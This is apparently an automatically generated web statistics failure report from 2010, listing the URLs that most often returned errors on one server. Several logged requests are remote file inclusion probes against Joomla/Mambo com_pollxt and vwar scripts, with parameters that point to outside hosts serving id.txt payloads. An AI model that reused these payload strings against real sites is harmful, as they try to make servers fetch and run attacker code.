The Failure Report identifies requests that were made to the server that resulted in an error such as a '404 Document Not Found'. These errors can be caused by a mistyped URL or a broken link on a referring page.
This report shows the first 30 results by number of requests. This report is sorted by number of requests.
| File Name | Number of requests | |
|---|---|---|
| 1. | /favicon.ico | 19411 |
| 2. | /robots.txt | 5087 |
| 3. | /errors.php | 4414 |
| 4. | /stats/errors.php | 4121 |
| 5. | /administrator/components/com_pollxt/conf.pollxt.php | 4104 |
| /administrator/components/com_pollxt/conf.pollxt.php?mosConfig_absolute_path=http://gumansin.com/id.txt?? | 125 | |
| 6. | /stats/administrator/components/com_pollxt/conf.pollxt.php | 3712 |
| /stats/administrator/components/com_pollxt/conf.pollxt.php?mosConfig_absolute_path=http://gumansin.com/id.txt?? | 126 | |
| 7. | /vwar/backup/errors.php | 3557 |
| 8. | /modules/vwar/admin/admin.php | 3454 |
| 9. | /stats/modules/vwar/admin/admin.php | 3351 |
| 10. | /stats/FAILURE.html/administrator/components/com_pollxt/conf.pollxt.php | 3323 |
| /stats/FAILURE.html/administrator/components/com_pollxt/conf.pollxt.php?mosConfig_absolute_path=http://gumansin.com/id.txt?? | 115 | |
| 11. | /stats/vwar/backup/errors.php | 3189 |
| 12. | /stats/FAILURE.html/errors.php | 3151 |
| 13. | /stats/FAILURE.html/modules/vwar/admin/admin.php | 2425 |
| 14. | /stats/FAILURE.html/vwar/backup/errors.php | 2411 |
| 15. | /index.php | 2409 |
| 16. | /stats/index.php | 2381 |
| 17. | /stats/FAILURE.html /modules/vwar/admin/admin.php | 1847 |
| 18. | /stats/FAILURE.html/index.php | 1707 |
| 19. | /convert/mvcw.php | 1666 |
| /convert/mvcw.php?step=1&vwar_root=http://script00.vndv.com/id1.txt?? | 133 | |
| 20. | /stats/FAILURE.html /errors.php | 1574 |
| 21. | /stats/convert/mvcw.php | 1570 |
| /stats/convert/mvcw.php?step=1&vwar_root=http://script00.vndv.com/id1.txt?? | 132 | |
| 22. | /stats/FAILURE.html /administrator/components/com_pollxt/conf.pollxt.php | 1560 |
| 23. | /stats/FAILURE.html /vwar/backup/errors.php | 1402 |
| 24. | /stats/FAILURE.html/convert/mvcw.php | 1334 |
| /stats/FAILURE.html/convert/mvcw.php?step=1&vwar_root=http://script00.vndv.com/id1.txt?? | 114 | |
| 25. | /modules/vwar/convert/mvcw_conver.php | 1055 |
| 26. | /stats/modules/vwar/convert/mvcw_conver.php | 1021 |
| 27. | /stats/FAILURE.html/ | 995 |
| 28. | /favicon.gif | 957 |
| 29. | /stats/FAILURE.html/modules/vwar/convert/mvcw_conver.php | 745 |
| 30. | /stats/FAILURE.html / | 734 |
| [not listed: 4470] | 61926 | |
This report was generated on February 7, 2010 01:00.
Report time frame February 2, 2009 15:47 to February 6, 2010 03:44.